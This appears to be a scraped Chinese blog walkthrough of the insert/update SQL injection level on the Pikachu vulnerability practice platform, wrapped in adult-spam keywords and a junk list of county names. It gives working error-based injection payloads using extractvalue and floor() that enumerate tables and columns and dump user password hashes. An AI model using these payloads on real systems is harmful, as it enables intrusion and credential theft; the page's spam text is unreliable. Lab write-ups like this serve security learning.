最美情侣中文字幕电影,在线麻豆精品传媒,在线网站高清黄,久久黄色视频

歡迎光臨散文網(wǎng) 會員登陸 & 注冊

Pikachu 漏洞練習(xí)平臺Sql Injection Insert/update型注入通關(guān)指南pika~pika~

2023-03-10 13:20 作者:Yukito_online  | 我要投稿

天氣忽冷忽熱,記得及時保暖,才不是特意跟你一個人說的呢~

DML

DML(Data Manipulation Language)數(shù)據(jù)操作語言,以 INSERT、UPDATE、DELETE 三種指令為核心,分別代表插入、更新與刪除,是必須要掌握的指令,DML 和 SQL 中的 select 熟稱 CRUD(增刪改查)。


INSERT插入的兩種方式:

1、insert into 表名[(字段,字段)] values (值,值);

說明:
值和字段需要一一對應(yīng)
如果是字符型或日期類型,值需要用單引號引起來;如果是數(shù)值類型,不需要用單引號
字段和值的個數(shù)必須一致,位置對應(yīng)
字段如果不能為空,則必須插入值
可以為空的字段可以不用插入值,但需要注意:字段和值都不寫;或字段寫上,值用 null 代替
表名后面的字段可以省略不寫,此時表示所有字段,順序和表中字段順序一致。

2、insert into 表名 set 字段 = 值,字段 = 值;(不常見建議用方式一~~~)

批量插入方式

insert into 表名 [(字段,字段)] values (值,值),(值,值),(值,值);


INSERT注入就是用插入的方式進(jìn)行注入,并不是用insert into插入數(shù)據(jù)進(jìn)行注入,在這里我選擇用

基于Xpath的報錯注入

首先介紹兩個函數(shù):

1、updataxml():

官方定義:

UPDATEXML (XML_document, XPath_string, new_value);

第一個參數(shù):XML_document是String格式,為XML文檔對象的名稱;

第二個參數(shù):XPath_string (Xpath格式的字符串);

第三個參數(shù):new_value,String格式,替換查找到的符合條件的數(shù)據(jù);

返回內(nèi)容:若xpath正確則返回更改對象名稱,否則返回xpath錯誤內(nèi)容


2、extractvalue()

官方定義:

EXTRACTVALUE (XML_document, XPath_string);

第一個參數(shù):XML_document是String格式,為XML文檔對象的名稱;

第二個參數(shù):XPath_string (Xpath格式的字符串);

返回內(nèi)容:若xpath正確則返回目標(biāo)XML查詢的結(jié)果,否則返回xpath錯誤內(nèi)容


不知道什么是Xpath請看這里

XPath即為XML路徑語言(XML Path Language),它是一種用來確定XML文檔中某部分位置的語言。

/html/body

不理解沒關(guān)系Yukito也沒理解,我們只需要知道

函數(shù)報錯原因

可以看到上面兩函數(shù)里都有xpath路徑,而在xpath中,插入~(ASCII碼是0x7e)和^(ASCII碼是0x5e)等特殊字符是非法的,也就會產(chǎn)生報錯,而這些特殊字符也恰好是報錯注入的關(guān)鍵點,而當(dāng)報錯內(nèi)容為SQL語句的時候,SQL那邊的解析器會自動解析該SQL語句,就造成了SQL語句的任意執(zhí)行。

新手的話還是一步一步來吧,有點“這是你的鍵盤,這是kali-linux系統(tǒng),好了現(xiàn)在開始入侵CIA(美國中央情報局)吧”的感覺了

回到正題,注冊完賬號登陸進(jìn)去了之后,可見只有兩個按鈕,退出登錄修改個人信息

點擊【修改個人信息】就能開始插入數(shù)據(jù)了,使用postman

設(shè)置好cookie之后,先提交submit一遍數(shù)據(jù)從瀏覽器里開發(fā)者選項里獲取參數(shù)

對應(yīng)body里的form-data

輸入單引號報錯,說明存在注入點

' and extractvalue(1,concat(0x7e,database())) #

上面我們說過:

在xpath中,插入~(ASCII碼是0x7e)和^(ASCII碼是0x5e)等特殊字符是非法的,也就會產(chǎn)生報錯,而這些特殊字符也恰好是報錯注入的關(guān)鍵點,而當(dāng)報錯內(nèi)容為SQL語句的時候,SQL那邊的解析器會自動解析該SQL語句,就造成了SQL語句的任意執(zhí)行。

' or extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database())))or'

' or extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database())))or'

在這里總結(jié)一下學(xué)到了一個新知識,首先是要注意開頭部分的and和or,and不行那就改用or,或者用替換符&&(and)和||(or),其次是閉合的方式不只有#和--+,還有or'(溫故而知新,可以為師矣)

同時這里的group_concat語句意思是將結(jié)果連接成一條字段輸出,當(dāng)然也可以用分段函數(shù)limit()/mid()/left()/right()


' or extractvalue(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database()limit 0,1)))or'
' or extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users')))or'

在這里服務(wù)器返回的只有一部分的數(shù)據(jù),group_concat()參數(shù)無法全部返回,只能使用分段函數(shù)limit()/mid()/left()/right(),這里我用limit()舉例,并不是因為另外三個函數(shù)我不會用


' or extractvalue(1,concat(0x7e,(select column_name from information_schema.columns where table_name='users' limit 4,1)))or'
' or extractvalue(1,concat(0x7e,(select column_name from information_schema.columns where table_name='users' limit 12,1)))or'

拿到字段名,可以獲取數(shù)據(jù)了

' or extractvalue(1,concat(0x7e,(select username from users limit 0,1)))or'

我懶得截圖了,反正就是修改limit之后的數(shù)字就能逐個遍歷出來了

admin:e10adc3949ba59abbe56e057f20f883()

pikachu:670b14728ad9902aecba32e22fa4f6b

test:e99a18c428cb38d5f260853678922e0

收工

不光是上面的寫法,還有另外一種報錯寫法是基于floor()函數(shù)的

'or (select 1 from (select count(*),concat((select group_concat(username,0x3a,password) from users),floor(rand(0)*2))x from information_schema.tables group by x)b) or'

標(biāo)紅的地方是固定寫法


總結(jié)一下學(xué)到了一個新知識,首先是要注意開頭部分的and和or,and不行那就改用or,或者用替換符&&(and)和||(or),其次是閉合的方式不只有#和--+,還有or'(溫故而知新,可以為師矣)extractvalue()

Pikachu 漏洞練習(xí)平臺Sql Injection Insert/update型注入通關(guān)指南pika~pika~的評論 (共 條)

分享到微博請遵守國家法律
平邑县| 沙田区| 万荣县| 盘锦市| 平湖市| 定襄县| 报价| 弥渡县| 宜都市| 兖州市| 刚察县| 志丹县| 清新县| 罗田县| 孟州市| 湖州市| 工布江达县| 铁岭县| 女性| 桐梓县| 桦川县| 通海县| 如东县| 平昌县| 灌南县| 思南县| 双柏县| 奎屯市| 江西省| 古浪县| 旌德县| 内江市| 城步| 建阳市| 保山市| 彭山县| 平顺县| 新蔡县| 九龙县| 桓仁| 兴和县|